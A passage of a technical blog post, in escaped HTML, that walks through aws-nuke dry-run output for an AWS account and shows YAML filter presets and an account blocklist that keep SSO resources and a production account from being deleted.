\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMOpenIDConnectProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:oidc-provider/app.terraform.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [Arn: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:oidc-provider/app.terraform.io\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMPolicy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:policy/tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [ARN: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePolicyID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ANPA2T6PZOBNWI76TKQRF\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [CreateDate: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLastUsedDate:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [PolicyArn: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePolicyName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleCreateDate:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleLastUsed:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRolePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eScan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e85\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etotal,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enukeable,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e66\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiltered.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eThe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eabove\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edeleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupplied\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfiguration.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eProvide\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--no-dry-run\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactually\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edestroy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresources.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis is great, it fully scanned the account and found every resource to delete!\nIt even wants to delete the DefaultVPC which is usually a good idea.  The one\nresource that should catch your eye that you probably do not want to delete:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAWS clearly doesn't want us to delete that!\u003c/p\u003e\n\u003ch1\u003eFilters\u003c/h1\u003e\n\u003cp\u003eTo prevent nuke from deleting resources you want to keep you can define presets\nthat you use on each account.  So with our SSO example we want to prevent it\nfrom deleting those resources in a preset.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"regex\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSSSO_.*_DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can see in this example I'm targetting specific resource types and then\nmatching them with both \u003ccode\u003eregex\u003c/code\u003e and \u003ccode\u003eglob\u003c/code\u003e filter types. These are super\npowerful but a lot of times the simpler filters can be used.  I start with\n\u003ccode\u003econtains\u003c/code\u003e filter and then go from there:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtains\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWSReservedSSO\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen the other thing you may have noticed is that I was repeating\n\u003ccode\u003eAWSReservedSSO\u003c/code\u003e multiple times.  To reduce that you can use standard YAML\nanchors.   So the final config for your preset would look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e_DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can use that preset in our accounts configuration:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"presets\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo your final config should look something like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eglobal\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccount-blocklist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e_DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: 